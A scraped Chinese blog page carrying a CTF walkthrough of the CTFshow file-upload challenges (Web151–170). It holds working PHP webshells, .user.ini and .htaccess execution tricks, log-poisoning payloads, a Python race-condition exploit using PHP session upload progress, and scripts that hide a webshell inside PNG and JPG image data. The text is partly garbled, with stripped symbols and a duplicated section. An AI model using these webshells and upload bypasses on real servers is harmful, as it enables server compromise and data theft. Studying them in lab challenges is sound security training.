当前位置: 首页 > news >正文

编写网站 支付宝站长数据

编写网站 支付宝,站长数据,中国建筑装饰设计网,做投融资平台的网站都有哪些?CTFshow-文件上传(Web151-170) 参考了CTF show 文件上传篇#xff08;web151-170#xff0c;看这一篇就够啦#xff09;-CSDN博客 Web151 要求png#xff0c;然后上传带有一句话木马的a.png#xff0c;burp抓包后改后缀为a.php#xff0c;然后蚁剑连接#xff0c;找fl…CTFshow-文件上传(Web151-170) 参考了CTF show 文件上传篇web151-170看这一篇就够啦-CSDN博客 Web151 要求png然后上传带有一句话木马的a.pngburp抓包后改后缀为a.php然后蚁剑连接找flag ?php eval($_POST[cmd]);?Web152 同上题 Web153 猜测内容是不是有php被识别了还是不合规 这里我们尝试.htaccess因为它只适用于Apache所以不行这里要使用.user.ini 看题解 php.ini 是 php 的一个全局配置文件对整个 web 服务起作用而.user.ini 和.htaccess 一样是目录的配置文件.user.ini 就是用户自定义的一个 php.ini通常用这个文件来构造后门和隐藏后门。 .user.ini 原理: 指定一个文件如a.jpg那么该文件就会被包含在要执行的php文件中如index.php类似于在index.php中插入一句require(./a.jpg);这两个设置的区别只是在于auto_prepend_file是在文件前插入auto_append_file在文件最后插入当文件调用的有exit()时该设置无效所以要求当前目录必须要有php文件,巧合的是这题upload目录下有个index.php所以这种方式是可以成功的。 .user.ini的作用 配置 PHP 设置用户可以通过 .user.ini 文件来设置特定目录和子目录下的 PHP 配置。这些设置会覆盖全局 php.ini 的相应配置。 特定目录的配置与 .htaccess 文件类似.user.ini 文件允许特定目录的细粒度配置而不会影响整个服务器的设置。 利用 .user.ini 绕过限制 由于 .user.ini 文件可以覆盖某些 PHP 配置它也可能被恶意利用来绕过服务器管理员设置的限制以下是一些可能的方式 文件上传限制 如果服务器全局设置了较低的文件上传大小限制恶意用户可以通过 .user.ini 文件增加 upload_max_filesize 和 post_max_size来上传更大的文件。脚本执行时间恶意用户可能会增加 max_execution_time 以避免脚本执行超时从而进行更长时间的恶意活动如暴力破解等。内存限制增加 memory_limit 可以帮助恶意脚本在执行时获取更多的服务器资源可能导致拒绝服务攻击DoS。PHP 文件包含漏洞auto_prepend_file在 PHP 中当用户访问.user.ini所在目录主页文件时auto_prepend_file所指向的文件内容会自动进行包含将文件内容当作php代码执行 首先我们编写一个.user.ini文件 auto_prepend_fileshell.png这串内容的意思就是在访问主页文件时会自动包含shell.png文件将其文件内容当在php代码执行 所以要求当前目录必须要有php文件getflag思路我们上传一个.user.ini 文件设置一个文件a.jpg然后访问index.php就相当于包含了a.jpg 以同样的方式上传1.txt或pngphp不行 相当于在该目录下的php文件index.php里插入了包含语句include(‘1.png’) 然后用 /upload/index.php 就ok了 Web154 试了半天不行最后想是不是跟上题一样然后就过了 注意这里要短标签 ? eval($_POST[cmd]);? Web155 同154 Web156 php中[]可以用{}替换[]被过滤改成{} Linux中通配符作用 星号*星号用于匹配任意数量的字符包括零个字符。 问号?问号用于匹配单个字符。 方括号[]方括号用于匹配方括号内的任意一个字符。ls [abc].txt列出当前目录下所有文件名为a.txt、b.txt或c.txt的文件。 大括号{}大括号用于匹配大括号内的任意一个模式。mv {.jpg,.png} images/将当前目录下所有扩展名为.jpg和.png的文件移动到images/目录。 感叹号!感叹号用于在方括号内表示排除某个字符。ls [!abc].txt列出当前目录下所有文件名不是a.txt、b.txt或c.txt的文件。 Web157 {}也被过滤慢慢找 先ls 然后访问upload/index.php ls…/试试 ?system(tac ../f?a?.???)? Web158 同上题 Web159 PHP命令执行函数 exec()exec()执行一个外部程序并返回最后一行输出的结果。 system()system()执行一个外部程序并输出结果。返回命令的最后一行输出。 shell_exec()shell_exec()执行一个命令并返回完整的输出。 passthru()passthru()执行一个命令并直接输出结果到标准输出通常是浏览器。它与system()类似但不会返回命令的输出。 popen()popen()打开一个管道到一个进程允许读取或写入进程的标准输入/输出。 proc_open()proc_open()可以启动一个进程并更多地控制其输入和输出。 PHP 也支持用反引号包围命令的方式来执行命令这是与shell中类似的语法。?nl ../fl*? ?tac ../fl*? Web160 与上题相比这题将空格和反引号和log过滤掉了所以上传的时候要注意略过多余的空格log可以用点号拼接绕过且本题不能使用上题的方法考虑到日志包含先上传.user.ini 这段代码包含并输出 /var/log/nginx/access.log 文件的内容。由于包含的是一个日志文件它的内容会直接作为PHP代码执行。 ?include/var/lo.g/nginx/access.lo.g? ua?tac ../fl*? 然后访问index.php Web161 需要伪造图片头GIF89a 或者png头 使用16进制编辑器在.user.ini.png 中添加png 文件头 89 50 4E 47 0D 0A 1A 0A 1.png也添加也会成功 其它同上题 Web162 条件竞争是什么简单解释一下在文件上传中假设存在如下流程 上传文件后立即保存到服务器。上传成功后进行文件格式的校验。如果文件格式符合要求则重命名该文件。如果文件格式不符合要求则删除该文件。 由于服务器在处理多个并发请求时可能会出现以下几种情况 访问时间点在文件上传之前 此时文件尚未上传到服务器任何对该文件的访问请求将返回“文件不存在”。 访问时间点在文件上传成功后但服务器尚未完成校验及处理在此时间窗口内文件已经存在于服务器上但尚未经过格式校验。任何对该文件的访问请求将会找到文件但由于文件格式尚未验证可能存在安全隐患。 访问时间点在服务器删除文件之后 如果文件格式不符合要求服务器会删除该文件。此时任何对该文件的访问请求将返回“文件不存在”。 所以当我们上传的速度比服务器删除的速度快我们就可以读取到我们的木马文件 上传**.user.ini** GIF89a auto_append_file/tmp/sess_lhlh可以随缘改和后面脚本中的sess中的内容相一致即可 接下来用脚本 import requests import threading import re# 创建一个会话对象保持会话的状态 session requests.session()# 自拟的PHPSESSID用于保持上传过程中的会话一致性 sess lh# 目标URL url1 http://58830b4d-39b1-4fbc-976c-f909cd6e8988.challenge.ctf.show/ url2 http://58830b4d-39b1-4fbc-976c-f909cd6e8988.challenge.ctf.show/upload# POST请求数据利用PHP的SESSION_UPLOAD_PROGRESS漏洞注入恶意PHP代码 data1 {PHP_SESSION_UPLOAD_PROGRESS: ?php system(tac ../f*);? # 使用system函数执行命令 }# 要上传的文件数据 file {file: 111 # 文件名可以随意设置 }# 设置会话cookie cookies {PHPSESSID: sess # 上传过程中使用固定的PHPSESSID }# 定义上传文件的函数持续发送POST请求 def upload_file():while True:session.post(url1, datadata1, filesfile, cookiescookies)# 定义读取文件的函数持续检查返回的页面内容 def check_flag():while True:response session.get(url2) # 访问目标URL检查是否能获取到flagif flag in response.text: # 检查返回内容中是否包含flag# 正则匹配flag格式为ctfshow{}flag re.search(rctfshow{.}, response.text)if flag:print(flag.group()) # 如果找到flag打印它# 创建两个线程一个上传文件一个检查flag threads [threading.Thread(targetupload_file),threading.Thread(targetcheck_flag) ]# 启动所有线程 for t in threads:t.start()Web163 同上题 Web164 之前的都用不了了这题要求图片马 在我们上传文件后网站会对图片进行二次处理格式、尺寸要求等服务器会把里面的内容进行替换更新处理完成后根据我们原有的图片生成一个新的图片并放到网站对应的标签进行显示。将一个正常显示的图片上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分将Webshell代码插在该部分然后上传。 脚本 ?php $p array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,0x66, 0x44, 0x50, 0x33);$img imagecreatetruecolor(32, 32);for ($y 0; $y sizeof($p); $y 3) {$r $p[$y];$g $p[$y1];$b $p[$y2];$color imagecolorallocate($img, $r, $g, $b);imagesetpixel($img, round($y / 3), 0, $color); }imagepng($img,./1.png); ?# ?$_GET[0]($_POST[1]);?这个脚本便是通过操纵 IDAT 块图像数据块将恶意代码插入了其中 运行这个脚本后将生成的图片木马上传 查看图片 路径也变了 其实也正是因为他是先访问download.php这个代码然后请求包含image才能让我们的png图片里的php代码能被解析否则还是需要配合.user.ini文件才能解析png图片马 这是我们图片马中包含的一句话木马get方式拿个参数0post方式拿个参数1 ?$_GET[0]($_POST[1]);? 0system 1 ls试试 如果你去抓这个get 请求的包然后添加传参是不行的。后面做了下一题发现是可以在 burpsuite 里面修改请求方式的都要使用 post 请求 看图片后使用 hackbar 添加参数 get 里面新增 0systempost 1lsmoderaw发包 还要添加请求头 Content-Type: application/x-www-form-urlencodedContent-Type: application/x-www-form-urlencoded 是 HTTP 请求头中用于指定请求主体的编码格式的字段。它的作用是告诉服务器客户端发送的数据采用 application/x-www-form-urlencoded 格式进行编码。这个格式通常用于 HTML 表单提交特别是在使用 POST 方法时。 tac flag.php即可 Web165 JPG二次渲染脚本 ?php/*The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().It is necessary that the size and quality of the initial image are the same as those of the processed image.1) Upload an arbitrary image via secured files upload script2) Save the processed image and launch:jpg_payload.php jpg_name.jpgIn case of successful injection you will get a specially crafted image, which should be uploaded again.Since the most straightforward injection method is used, the following problems can occur:1) After the second processing the injected data may become partially corrupted.2) The jpg_payload.php script outputs Somethings wrong.If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.Sergey Bobrov Black2Fan.See also:https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/*/$miniPayload ?eval(\$_POST[1]);?; //注意$转义if(!extension_loaded(gd) || !function_exists(imagecreatefromjpeg)) {die(php-gd is not installed);}if(!isset($argv[1])) {die(php jpg_payload.php jpg_name.jpg);}set_error_handler(custom_error_handler);for($pad 0; $pad 1024; $pad) {$nullbytePayloadSize $pad;$dis new DataInputStream($argv[1]);$outStream file_get_contents($argv[1]);$extraBytes 0;$correctImage TRUE;if($dis-readShort() ! 0xFFD8) {die(Incorrect SOI marker);}while((!$dis-eof()) ($dis-readByte() 0xFF)) {$marker $dis-readByte();$size $dis-readShort() - 2;$dis-skip($size);if($marker 0xDA) {$startPos $dis-seek();$outStreamTmp substr($outStream, 0, $startPos) . $miniPayload . str_repeat(\0,$nullbytePayloadSize) . substr($outStream, $startPos);checkImage(_.$argv[1], $outStreamTmp, TRUE);if($extraBytes ! 0) {while((!$dis-eof())) {if($dis-readByte() 0xFF) {if($dis-readByte ! 0x00) {break;}}}$stopPos $dis-seek() - 2;$imageStreamSize $stopPos - $startPos;$outStream substr($outStream, 0, $startPos) . $miniPayload . substr(str_repeat(\0,$nullbytePayloadSize).substr($outStream, $startPos, $imageStreamSize),0,$nullbytePayloadSize$imageStreamSize-$extraBytes) . substr($outStream, $stopPos);} elseif($correctImage) {$outStream $outStreamTmp;} else {break;}if(checkImage(payload_.$argv[1], $outStream)) {die(Success!);} else {break;}}}}unlink(payload_.$argv[1]);die(Something\s wrong);function checkImage($filename, $data, $unlink FALSE) {global $correctImage;file_put_contents($filename, $data);$correctImage TRUE;imagecreatefromjpeg($filename);if($unlink)unlink($filename);return $correctImage;}function custom_error_handler($errno, $errstr, $errfile, $errline) {global $extraBytes, $correctImage;$correctImage FALSE;if(preg_match(/(\d) extraneous bytes before marker/, $errstr, $m)) {if(isset($m[1])) {$extraBytes (int)$m[1];}}}class DataInputStream {private $binData;private $order;private $size;public function __construct($filename, $order false, $fromString false) {$this-binData ;$this-order $order;if(!$fromString) {if(!file_exists($filename) || !is_file($filename))die(File not exists [.$filename.]);$this-binData file_get_contents($filename);} else {$this-binData $filename;}$this-size strlen($this-binData);}public function seek() {return ($this-size - strlen($this-binData));}public function skip($skip) {$this-binData substr($this-binData, $skip);}public function readByte() {if($this-eof()) {die(End Of File);}$byte substr($this-binData, 0, 1);$this-binData substr($this-binData, 1);return ord($byte);}public function readShort() {if(strlen($this-binData) 2) {die(End Of File);}$short substr($this-binData, 0, 2);$this-binData substr($this-binData, 2);if($this-order) {$short (ord($short[1]) 8) ord($short[0]);} else {$short (ord($short[0]) 8) ord($short[1]);}return $short;}public function eof() {return !$this-binData||(strlen($this-binData) 0);}} ?命令行运行脚本 看官解得用特定的图片 Web166 传zip zip追加写webshell 首先你需要上传一个zip文件这个文件内容无所谓但最关键的是需要将webshell写到文件末尾此操作需要在winhex下进行。 然后直接上传你的zip文件。 利用的点就在于下载下载时zip文件会进行文件包含也就是include所以你的webshell也会被包含在内你的webshell最好别用POST要用GET。这一步最好在BP内进 最后直接GET请求追加参数来执行webshell即可获得flag 其实不知道原理也能做出来 Web167 .htaccess简介 .htaccess被称为超文本入口此文件有多个功能其中一个功能可以改变文件扩展名同时也可以实现文件夹密码保护、用户自动重定向、自定义错误页面等功能。 首先我们编写 .htaccess文件 FilesMatch shell.jpgSetHandler application/x-httpd-php /FilesMatch这个大概意思是shell.jpg会被当做php文件执行 接下来我们在shell.jpg文件中插入我们的恶意代码 Web168 参考别人的题解但是这个字典不知道在哪先标记一下 发现过滤了很多函数 没被过滤 然后再tac就行 Web169 限制zip 发现上传完zip不合规后面发现后端校验了png 还是不行发现可能过滤了很多东西随便传个123试试 ps看官解的时候发现了一个新知识直接修改这里能直接绕过前端校验修改为files 还有一个注意点要合理使用重发器去试错 为什么要这么做呢有什么意义? 因为之前我们试了很多函数都被过滤了留下的方法那就只有日志注入而 不安全的 include($file)允许外部用户控制 $file 路径。 攻击者操纵的日志文件例如 /var/log/nginx/access.log中包含了PHP 代码而当 PHP 解释器包含这个日志文件时PHP 代码会被执行。 想要包含日志文件就需要user.ini允许其被包含而user.ini生效的条件之一就是同级目录存在一个php文件 写ua就行 Web170 同上题 上题别搞错顺序了正常是先上传user.ini再上传index.php但是我把indexs和index用到一起了可能造成误解先上传的indexs.php只是测试用的我混用了 图片转存中…(img-pnaUnouR-1734523388094)] 还有一个注意点要合理使用重发器去试错 [外链图片转存中…(img-6KxloVVt-1734523388094)] 为什么要这么做呢有什么意义? 因为之前我们试了很多函数都被过滤了留下的方法那就只有日志注入而 不安全的 include($file)允许外部用户控制 $file 路径。 攻击者操纵的日志文件例如 /var/log/nginx/access.log中包含了PHP 代码而当 PHP 解释器包含这个日志文件时PHP 代码会被执行。 想要包含日志文件就需要user.ini允许其被包含而user.ini生效的条件之一就是同级目录存在一个php文件 [外链图片转存中…(img-kJ0x6qfC-1734523388094)] [外链图片转存中…(img-h1lDbBib-1734523388094)] 写ua就行 [外链图片转存中…(img-s24YQxMl-1734523388094)] Web170 同上题 上题别搞错顺序了正常是先上传user.ini再上传index.php但是我把indexs和index用到一起了可能造成误解先上传的indexs.php只是测试用的我混用了
http://www.tj-hxxt.cn/news/221447.html

相关文章:

  • 设计网官方网站wordpress 搭建会员
  • 中粮网站是哪个公司做的wordpress邮件验证码
  • 有优惠券网站 怎么做代理中国建筑网建筑通
  • 彩票计划网站怎么做互联网有哪些行业
  • 建设外贸型网站流程七宝网站建设
  • 网站建设技术开发srm系统
  • 保山市建设局网站登录seo挂机赚钱
  • 北京网站制作开发公司软文推广套餐
  • 网页模板下载网站10我是站长网
  • 如何做好一个网站的推广建筑行业征信查询平台官网
  • 网站建站时间查询自建商城网站用什么技术好
  • 网站被黑是怎么回事wordpress来源
  • seo网站推广公司泰安房产网数据中心
  • 海口h5建站如何免费创建网站
  • 贵阳网站页面设计网站策划制作公司
  • 男女做a视频网站营销渠道管理
  • 掌握cms建设网站实训报告茶叶响应式网站
  • 做选择的网站微信小程序怎么加入我的小程序
  • 苏州网站建设苏州摄影网站开题报告
  • 海棠网站注册网站建设员好吗
  • 用phpcms建站的网站东营招标信息网官网首页
  • 锦江网站建设应持续抓好二级网站的建设工作
  • 网站域名服务错误WordPress链接点击次数统计
  • 镇江京口区资阳抖音搜索优化
  • 网站建设图外贸网站设计风格
  • 企业网站建设服务公司网络工具
  • 买个域名就可以建立网站吗企业网站上海 优帮云
  • 网站建设外包网影视公司招聘
  • 做技术一般逛那些网站wordpress網頁版
  • 阆中网站网站建设阿里云官网首页